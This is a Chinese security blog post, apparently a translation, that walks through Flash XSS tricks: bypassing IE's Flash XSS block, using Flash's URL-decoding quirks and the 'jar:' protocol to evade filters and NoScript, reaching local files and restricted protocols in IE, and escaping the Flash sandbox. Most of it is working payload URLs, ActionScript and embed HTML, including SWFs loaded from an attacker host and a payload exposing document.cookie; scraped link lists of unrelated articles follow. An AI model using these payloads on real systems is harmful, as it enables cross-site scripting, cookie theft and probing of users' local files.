mramydnei · 2014/02/19 10:16

0x00 前言


原文链接

soroush.secproject.com/blog/2013/1…

soroush.secproject.com/blog/2013/1…

soroush.secproject.com/blog/2014/0…

可能在你打开这个博客的时候会有一丝的熟悉感。对,这就是那个发现 FCK 2.6.8 ASP 版二次上传漏洞的人。博主是个很有意思的人,经常会在通知厂商修复之前就在演讲稿子里或文章中放出一些危害比较大的 0day。如果你之前没有关注过这个人,也许在今后的日子里关注他会让你有一些意外的收获。

0x01 绕过IE对Flash XSS的保护机制


在经过一些小的测试后发现,似乎只有IE会对下面这种Flash XSS进行拦截。如果你用IE10打开下面的链接:

http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);

那么应该会在控制台(用F12来打开它)看到Access is denied的信息。如果你尝试用chrome,Firefox或opera来打开这个连接的话,不出预料小框应该会毫无阻碍的弹起来。

然后我想到了一个办法可以绕过IE的这种限制:

http://0me.me/demo/xss/xssproject.swf?js=location.href='javascript:x="<script>alert(document.domain)</script>"'

URL中的“javascript:x="echo"”可以让我们在当前页面输出这个echo。而且我们可以向上面的例子那样包含一些HTML标签,进而绕过这种限制。

0x02 利用Flash的URL解码功能来绕过一些保护机制


如果你需要将你的vector发送到藏在防火墙的后面受害者(flashvars­可以使用#来达到隐藏自己的目的)又或者想突破一些客户端的XSS防御机制这个方法将会十分的凑效。这一切都基于flash会丢弃一些被URL编码过的无效字符。

(1)flash会丢弃两个出现在%后面的无效十六进制字符(([^0-9a-fA-F])),比如:

"%X" or "%="

(2)如果在%后面出现一个有效和一个非有效十六进制字符,就会丢弃三个字符,比如:

"%AX" or "%A&"

小记:有时候ASCII值大于127的一些字符会被转换成问号。当然这是发生在URL跳转的时候。除此之外,被编码过的BOM字符(“%EF%BB%BF”) 也可以用来替换空格。举个例子来说,我们可以把“alert(1)”写成“alert%EF%BB%BF(1)” 。

最后把这些都组合起来:

http://0me.me/demo/xss/xssproject.swf?%#js=al%A#e%Xrt(docum%A#ent.doma%A#in);http://0me.me/demo/xss/xssproject.swf?%I%R%S%D%%Ljs=loca%Xtion.hr%Yef='jav%Zascri %AXpt:x="<sc%AYript>ale%AZrt(docu%?ment.dom%/ain)</sc%&ript>"'

成功了!我使用这个trick也绕过了noscript,不过这个漏洞已经在 2.6.6.8修复了。

0x03 真正的“勇士“jar协议


flash 会忽略 jar 协议并让它变成一个透明的协议。换句话来说 javascript:alert(1)jar:javascript:alert(1) 在 actionscript 中是完全一样的。这意味着我们可以使用这个方法来绕 过一些黑名单的检测。让我们先举一个存在漏洞的例子:

#!javascript
varinput:String = root.loaderInfo.parameters.input; // input variable
vardangerousInput:RegExp = /^\w\*script:.\*/i; // to cover javascript: and vbscript: protocols!
if(!dangerousInput.test(input))
{ // Safe to go?!!! --> No! What about "jar:javascript:"? navigateToURL(newURLRequest(input),"_self"); // redirection
}

我们就可以使用先前提到的方法来绕过这个检测:

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:javascript:alert(1);//

当然还有一个我认为是广为熟知的技巧,就是在 firefox 里使用 data URI。

0x04 使用“navigateToURL”来突破本地域的访问限制


在默认设置当中 flash 不会允许你去访问一些比较敏感的协议(通过 navigateToURL), 如:“File://” 或 “Ms-its:” 如果你直接尝试访问下面的链接:

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\

你就会收到这样的错误信息:

SecurityError: Error #2148: SWF file http://0me.me/demo/xss/flash/link\_protocol\_test.swf?input=file://c:\ cannot access local resource file://c:\. Only local-with-filesystem and trusted local SWF files may access local resources.
at global/flash.net::navigateToURL()
at MethodInfo-1()
at flash.events::EventDispatcher/dispatchEventFunction()
at flash.events::EventDispatcher/dispatchEvent()
at com.powerflasher.SampleApp::link\_protocol\_test()

我尝试着在chrome,firefox和IE中使用jar协议来绕过这一限制,但是我并没有在前两个浏览器中成功。这也就意味着这种方式只适用于IE。下面是一些bypass的例子:

利用 jar 协议访问 C 驱动器:

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\

打开 C 驱动器中的某个文件:

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\windows\Starter.xml

开启一些被限制的协议:

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:shell:cookieshttp://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:mk:@MSITStore:C:\Windows\Help\mui\0409\certmgr.CHM::/html/355962c2-4f6b-4cbd- ab00-6e7ee4dddc16.htm

利用其它的一些技巧来访问 C 驱动器:

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=\\/c:/

那么一旦这些限制被突破后,又会给用户带来什么样的风险呢?

1.被使用于一些敏感的本地文件探测(探测杀毒软件的类型和版本等等)
2.通过目录和文件来收集用户信息
3.使用drag and drop来劫持一些敏感的本地文件(我没有办法在这里给出一些给力的POC)
4.代替用户来执行一些危害较大的本地文件(html.,swf等等)。进而实现数据的盗取,远程代码执行或一些其它猥琐的事情。

最后再献上一个可以弹开你的CD-ROM的POC(测试于IE10),就像一些老的病毒一样,试试看吧!

0me.me/demo/xss/fl…

0x05 绕过flash沙箱


我们都知道navigateToURL和getUR在flash XSS当中都是一些很常用的手段。但是大前提就是我们需要一个allowScriptAccess来得到脚本访问的许可。下面我将演示如何在不使用allowScriptAccess前提下让脚本运行起来。但是在这之前我们先要了解一下,使用allowScriptAccess的方法应该是什么样的。

首先是flash中AS代码的部分,我将分别给出AS2和AS3的例子。

AS3:

#!javascript
navigateToURL(new URLRequest("javascript:alert(document.domain);"),"_self");

AS2:

#!javascript
getURL("javascript:alert(document.domain)","_self");

然后我们的HTML页面看上去,应该像这样:

#!html
<objectwidth="320"height="240"classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><paramname="allowScriptAccess"value="always"/><paramname="src"value="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf"/><embedwidth="320"height="240"type="application/x-shockwave-flash"src="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf"allowScriptAccess="always"/></object>

当然我们也可以试着让它变得更简短一些:

#!html
<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="//www.attacker.com/testme/flashtest/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//www.attacker.com/testme/flashtest/normalEmbededXSS.swf" />

但是这个例子在IE下会报错,如果想看详细的错误信息你可以尝试使用debugger版本的flash.但是我们可以使用embed标签,就像下面这样:

#!html
<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowscriptaccess" value="always" /><param name="src" value="//0me.me/demo/xss/flash/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//0me.me/demo/xss/flash/normalEmbededXSS.swf" allowscriptaccess="always" /></object>

在对使用allowScriptAccess的方法有了一些初步的了解之后,让我们看看如果不使用它我们会碰到哪些问题。

1.navigateToURL或getURL所要跳转的页面不能设定为null/empty, “_self”, “_parent”, “_top”.

#!javascript
navigateToURL(new URLRequest("http://google.com/"),"_self");

2.我们不能使用javascript来完成跳转

#!javascript
navigateToURL(new URLRequest("javascript:alert(document.domain);"),"testme");

看上去第一个问题并不是那么难解决。我们可以使IFrame name, window.open, a标签的target,或form的target等技巧来解决这个问题。而第二个问题我们恰好可以使用之前flash会忽视jar协议的特性来解决。现在让我们试着把这些东西整合到一起。

AS3示例:

#!javascript
navigateToURL(new URLRequest("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);"),"testme");

AS2示例:

#!javascript
getURL("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);","testme");

最后让我们来完成它。假设有一个存在XSS漏洞页面如下:

http://www.sdl.me/xssdemo/xss.asp?input=XSS_goes_here

如果我们不使用name,那么下面的方法只能应用于firefox。

http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf>

但是我们也可以使用name来让它变得可以在其它浏览器中执行。

#!html
<iframe name="testme" src="http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf>" height="240" width="320"></iframe>

这里的embed标签也可以被object标签所取代。不过最终Adobe出了个新补丁封杀了jar协议。印象中是上个月的17号出的。所以如果你想亲自测试一下可能需要你手动安装稍微老的flash版本。如果你是kali linux用户,并且喜欢使用firefox那么这个绕过flash沙箱的方法对你来说应该是轻易可以实现的(我没有特意去更新FF的flash插件,所以在我这里一直是可以用这个方法的)。

一些你可能不知道的Flash XSS技巧相关推荐

  1. 那些你所不知道的arXiv使用技巧

    作者:Tom Hardy Date:2020-12-23 来源:那些你所不知道的arXiv使用技巧

  2. 你所不知道的模块调试技巧 - npm link #17

    你所不知道的模块调试技巧 - npm link #17 1. 背景 node 应用开发中,我们不可避免的需要使用或拆分为 npm 模块,经常遇到的一个问题是: 新开发或修改的 npm 模块,如何在项目 ...

  3. 你可能不知道的 CSS 阴影技巧与细节

    关于 CSS 阴影,之前已经有写过一篇,box-shadow 与 filter:drop-shadow 详解及奇技淫巧[1],介绍了一些关于 box-shadow 的用法. 最近一个新的项目,CSS- ...

  4. 被低估的css滤镜,你所不知道的 CSS 滤镜技巧与细节

    本文主要介绍 CSS 滤镜的不常用用法,希望能给读者带来一些干货! 系列 CSS 文章汇总在我的 Github ,持续更新,欢迎点个 star 订阅收藏. OK,下面直接进入正文.本文所描述的滤镜,指 ...

  5. 14个你可能不知道的JavaScript调试技巧

    以更快的速度和更高的效率来调试JavaScript 熟悉工具可以让工具在工作中发挥出更大的作用.尽管江湖传言 JavaScript 很难调试,但如果你掌握了几个技巧,就能用很少的时间来解决错误和bug ...

  6. 七大你可能不知道的 Chrome 使用技巧

    随着Chromium/Chrome以及其衍生的浏览器用户越来越多,掌握一些技巧可以让你更加快速熟练的使用Chrome,让事情变得更简单. 微 软 IE 一手遮天的时代已经一去不复返了,而在当下浏览器的 ...

  7. 那些你可能不知道的谷歌浏览器实用技巧

    苏生不惑第155 篇原创文章,将本公众号设为星标,第一时间看最新文章. 关于谷歌浏览器之前写过以下文章: 实用油猴脚本推荐,让你的谷歌浏览器更强大 Chrome 浏览器扩展神器油猴 请停用以开发者模式 ...

  8. 初学者可能不知道的 vue.js技巧

    技巧/坑点 1.setTimeout/ setInterval 场景一 :this指向改变无法用this访问vue实例 mounted(){setTimeout( function () {//set ...

  9. js_调试_01_14 个你可能不知道的 JavaScript 调试技巧

    更快更高效地调试你的 JavaScript 了解你的工具在完成任务时有很重要的意义. 尽管 JavaScript 是出了名的难以调试,但是如果你掌握了一些小技巧,错误和 bug 解决起来就会快多了. ...

最新文章

  1. ionic3 java,ionic3-环境搭建问题
  2. weblogic10重置控制台密码
  3. 《LeetCode力扣练习》第338题 比特位计数 Java
  4. mysql报错:Column 'id' in field list is ambiguous,以及tp的三表联合查询语句,打印sql等
  5. springmvc十二:@PathVariable
  6. 快速排序到底有多快?
  7. Cobaltstrike4.0系列教程(一)----简介与安装
  8. FedNLP: 首个联邦学习赋能NLP的开源框架,NLP迈向分布式新时代
  9. 各种网络模拟器的下载链接
  10. java 流常用接口_java 8新特性5--使用集合流式API
  11. [C++] [OpenGL] 基于GLFW+GLAD的OpenGL简单程序
  12. windows开启网络共享
  13. Rstudio与R的绑定和更新
  14. Remark Holdings平安城市解决方案助力城市安全升级
  15. 小型气象站概述、功能特点、参数、安装需求
  16. 浅谈partial class的理解
  17. 都在说测试左移和右移,只有这篇文章说明白了
  18. 介绍部电影“Sicko”,迈克尔摩尔拍摄的抨击美国医疗体制的纪录片
  19. YOLOv5识别图像内苹果和香蕉
  20. SiteFactory 通用程序集中(PowerEasy.Common)的常用字符串处理函数

热门文章

  1. hello.s:15: 错误: junk at end of line, first unrecognized character valued 0x8 的解决方法
  2. MySQL 精选 60 道笔试题
  3. CUDA中的线程层次
  4. M2 MacBookAir售价是多少 M2 MacBookAir配置如何
  5. 【机器人】关于工业机器人控制系统,这几方面内容你必须掌握;中国3C电子智造行业优秀的机器人供应商推荐...
  6. SVN常用的9大图标
  7. Vue项目实战:订单确认页面实现
  8. 【HISI系列】海思媒体处理平台架构分析
  9. 34---JS基础-----switch练习
  10. Oracle中如何记录访问数据库的登录信息?